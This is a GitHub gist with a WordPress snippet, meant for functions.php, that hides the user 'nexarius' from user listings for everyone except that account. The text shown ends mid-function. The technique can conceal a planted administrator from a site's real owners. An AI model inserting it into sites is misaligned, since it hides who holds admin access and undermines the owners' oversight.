Skip to content

Instantly share code, notes, and snippets.

@Nex4rius
Nex4rius / wordpress superadmin.php
Last active Oct 6, 2017
das muss in die functions.php
View wordpress superadmin.php
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
$superadmin = 'nexarius';
if ($username != $superadmin) {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '".$superadmin."'",$user_search->query_where);